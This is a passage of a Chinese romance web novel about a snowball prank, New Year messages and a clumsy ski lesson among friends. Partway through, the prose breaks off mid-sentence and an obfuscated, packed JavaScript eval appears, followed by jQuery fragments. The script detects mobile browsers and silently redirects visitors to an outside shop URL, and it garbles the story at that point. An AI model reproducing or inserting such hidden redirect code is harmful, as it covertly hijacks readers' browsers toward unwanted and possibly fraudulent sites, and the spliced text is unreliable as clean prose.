他只看了一眼便移开视线。
窗外闷闷的鞭炮声还在继续,年的味道愈发浓郁。
聚会散场,大家穿好衣服,三三两两地结伴往不远处的公寓楼走去。
室外积雪很厚。
应青瓷玩心大起,化身孩子王带着应青峦和江屿泮那两个精力过剩的猴儿在雪地里撒欢。
江屿阔不紧不慢地跟在后面。
路过一棵松树,树枝上坠满了沉甸甸的积雪。
应青瓷眼珠一转,故意放慢脚步,把两个猴儿引到那棵树下,指着树干假装惊奇地说:“欸,你们快看!这树上好像有个树洞哎,黑乎乎的,里面会不会藏着什么宝藏啊。”
“树洞?宝藏?”
江屿泮嘴上嫌弃地瘪瘪嘴,身体却很诚实,好奇地踮起脚,伸长脖子往树上瞅。
应青峦也被吸引了,跟着凑了过去。
就是现在。
应青瓷心里暗笑,悄悄跳起来,高高抬起手臂,朝着枝干用力一拍。
【哗啦啦——】
大块大块的积雪倾泻而下,劈头盖脸地将树下那两个毫无防备的猴儿打了个措手不及,只露出胡乱挥舞的手臂。
“哈哈哈哈哈……”
她幸灾乐祸地转身想跑,却结结实实撞上旁边另一棵树。
【砰!】
“哎哟!”
反弹后仰,她脚下一滑重重摔了个屁墩儿。
看着捂头痛呼的应青瓷和一旁叽里呱啦狂甩雪的两个猴儿。
江屿阔:“……”
……
江屿阔洗漱完毕,关掉了房间的灯,在单人床上躺下。
旁边床上的江屿泮早已呼呼大睡。
他闭上眼睛准备入睡。
手机震动了一下。
他睁开眼,伸手拿过手机。
来自【奔跑的呲花儿】。
点开。
【铁杆一头撞到了树上,为什么它一点都不疼?因为铁杆的头比较铁。】
能想到她此刻拿冰袋敷着额头,还得搜网上的冷笑话发给他时那双亮晶晶的眼睛。
江屿阔轻嗤。
嘴角不自觉翘起一边。
他回了一句。
【伤敌一千,自损八百。】
发送成功后,他重新躺好。
手机又震动了一下。
他意外挑眉,再次拿起手机。
【学长,明天我们去滑雪吧!我跟教练请示过了,可以去附近的滑雪场!】
江屿阔微微一怔,一时不知该如何回复。
我们……
没等他想好措辞,又一条消息迫不及待地蹦了出来。
【照邻和两个猴儿也去,我们五个人!】
后面紧跟了一个满脸期待的表情。
【OK。】
江屿阔心中的一点微妙悄然消散,手指敲动。
她又发过来。
【新年快乐,你的今年一定是个好年。】
江屿阔平躺着,望着天花板。
说不清道不明的……
失落。
……
次日一早,持续大雪。
江屿阔收拾妥当下楼来到大厅时,发现外面只有应青瓷一个人。
她站在漫天飞舞的雪花里,没戴帽子,微微仰着头伸出手掌,似乎在接飘落的雪花。
江屿阔推开玻璃门,凛冽的寒风瞬间裹挟着雪花扑面而来。
他下意识地将羽绒服的帽子扣在头上,朝她走去。
伸手将她羽绒服的帽子掀了起来,盖住了她的脑袋。
应青瓷回过头来,见是他脸上立刻绽开一个笑容。
摇摇头将帽子又甩了回去,踮起脚尖,伸手将他的帽子也给拽了下去。
两颗脑袋一起暴露在纷扬的雪花中。
江屿阔:“……”
应青瓷看着他明显抓过却迅速被雪花染白的短发,笑得更开心了。
她看着他,眼睛亮晶晶的:“学长,咱俩也算共白头了。”
江屿阔抬手,曲指敲了一下她的脑门:“别共流感就行。”
孟照邻拉着羽绒服拉链走了出来,后面跟着还在互相打闹的应青峦和江屿泮。
“人都齐了?走吧!”孟照邻笑着招呼。
一行人说说笑笑,租了辆车朝着附近的滑雪场出发。
……
“啊——”
“妈妈——”
两声凄厉并兴奋的尖叫划破滑雪场长空。
应青瓷心惊胆战地看着应青峦和江屿泮那两个不知天高地厚的猴儿,坐着连体的圆形滑垫,顺着陡峭雪坡疾冲而下。
【砰!砰!】
圆垫颠簸了一下,两个身影瞬间被抛飞出去,双双栽进雪坑里,溅起漫天雪沫。
应青瓷捂住眼睛,只听雪坑里传来中气十足的两声卧槽。
睁开眼往坡上望去,江屿阔游刃有余的立在雪板上,一身蓝色滑雪服衬得他身形愈发颀长。
他微微屈膝脚下发力,流畅地切入雪道滑行,溅起的雪雾在他身后飞扬。
不愧是专业运动员,那种娴熟自信的姿态,引得周围都侧目观看。
大概没有他不会的运动。
应青瓷心里感叹,忍不住用力鼓起掌来。
孟照邻滑到她身边,温和地笑道:“青瓷,我们开始吧。”
“好!”
应青瓷收回崇拜的目光,用力点头,在孟照邻的帮助下,笨拙地固定好雪板。
孟照邻耐心示范基本的站姿:“双脚与肩同宽,膝盖微微弯曲,身体重心放在脚掌上,对,就是这样,放松,别太僵硬。”
应青瓷学得很认真,感觉脑子好像学会了。
她鼓起勇气,打算在缓坡上尝试一下。
小心翼翼地开始滑动,起初她还能勉强维持住姿势。
随着坡度增加,速度不受控制地快了起来。
风声在耳边呼啸,脚下的雪板仿佛有了自己的主意,根本不听使唤。
“啊……慢、慢下来……妈妈呀……”
她害怕地低呼,身体开始僵硬。
孟照邻一直在她侧后方护着,见状立刻大声指导:“青瓷,别慌!重心后坐一点!膝盖再弯曲一些!脚后跟推出去!”
应青瓷听着指令,手忙脚乱地做动作。
可惜信心不足做得歪歪扭扭,重心失控,雪板别在了一起。
她只觉得天旋地转,噗通一声,整个人侧着摔倒在雪地里,还向前滑溜了一小段。
恰好以十分狼狈的姿势,跪趴在了正结束滑行休息的江屿阔的雪板前。
她晕头转向地抬起沾满雪沫的脑袋,扶正撞歪了的头盔,对着上方那双带着戏谑打量着她的眼睛,扯出一个尴尬无比的笑容,没头没脑地冒出一句:“学长,过……过年好……”
江屿阔单脚踩着雪板,居高临下地看着她,勾起嘴角慢悠悠地回答:“我可没带压岁钱。”
孟照邻也随后滑了过来,关切地俯身问她:“青瓷,没事吧,磕到哪里没有?”
“没、没事!”
应青瓷连忙尴尬地摆手加摇头。
在孟照邻的搀扶下,她挣扎着想站起来,奈何脚上的雪板根本不听使唤,刚曲起腿试图找
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059676|195004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回重心,脚下一滑,整个人又不受控制地向后倒去。
慌乱中,她手舞足蹈地一脚踢在了孟照邻的雪板上。
“哎哟!”
“小心!”
孟照邻猝不及防被她一绊,脚下雪板失衡,整个人也被带得向前扑倒。
【砰!】
两人重重地跌在一起,孟照邻整个人压.在了应青瓷身上。
他本能地迅速用手臂撑着一点,避免她被自己压坏。
雪花四溅。
“对……对不起……”
应青瓷闷闷的声音从孟照邻身下传来,她的鼻子好痛,刚刚恰巧撞在了孟照邻的下巴上。
疼得眼冒金星。
她狼狈地在他身下扭动了几下,活像只被翻了壳的笨乌龟。
孟照邻也尴尬地红了脸,也迅速想爬起来,可是脚绑在雪板上,刚挣扎起来又栽了下去,脸不小心撞进她的颈窝。
应青瓷哼唧一声,只觉自己胸骨肋骨都要断了。
两个人奋力地想要分开,却因为雪板挤在一起,怎么也分不开。
一旁的江屿阔,目光不虞地看了看远方,又收回来看着地上叠在一起的两人,面无表情地鼓了一下一边的腮帮。
上前一步,他伸手抓住孟照邻的胳膊,用力将他从应青瓷身上拉了起来。
“还敢学吗?”
孟照邻被拉起来后觉得好笑,和江屿阔一起,把瘫在雪地里完全放弃自我的应青瓷拉了起来。
应青瓷拍打着身上的雪,虽然摔得七荤八素,但还是倔强地点点头:“学!我不会轻易放弃……”
话还没说完,旁边的江屿阔却突然开口,打断了她的豪言壮语:“肚子饿了,吃饭去吧。”
“啊?”
应青瓷和孟照邻同时一脸懵圈地看向他。
早饭刚落肚一小时,这还没开始正式学呢,怎么就吃饭了。
忽然身后突然传来更加急促的呼喊声。
“亲爱的哥!姐!让开!快让开!我们要刹不住啦!”
三人闻声同时回头望去。
只见刚才那俩栽进雪坑的泼猴儿,不知何时又不知死活的爬了上去,正并排坐在连体圆垫上哇哇大叫着,直直地朝着他们三人所在的位置冲撞过来。
江屿阔眼神一凛,伸出长臂将离他最近的应青瓷往自己这边拽了过来,迅速让开了一条通道。
应青瓷被他这么一拽,脚下原本就没站稳的雪板再次打滑。
这次她倒是长了记性,求生欲爆发,双手在空中胡乱挥舞,主打一个能拽到什么是什么。
她先是抓住了他腰侧的滑雪服,奈何手套太滑脱手,手一路薅住了他的裤袋,整个人重心一倒,噗通跪在雪地里。
江屿阔下意识地低头。
风中凌乱。
应青瓷仰起头,看了看自己高举着的双手,顿时吓得小脸煞白,恨不得晕厥过去。
她手里攥着的竟然是……
刚才乱抓下,竟然将江屿阔的滑雪裤扯了下来,直接拽到了他大腿的位置。
那俩猴儿风一般地从他们让出的通道擦身而过,带着一连串的怪叫,再次栽进了不远处的大雪坑里。
“卧槽!”
“卧槽!”
两人鬼叫。
应青瓷跪在雪地里,手里还攥着他的裤腰,看着江屿阔那张一向云淡风轻此刻却山雨欲来的脸。
眩晕之下,她的大脑开始出逃。
学长里面的保暖裤是黑色的。
她可怜兮兮地鼓了鼓腮帮,松开手,成了苦瓜脸。
“学……学长……对不起……”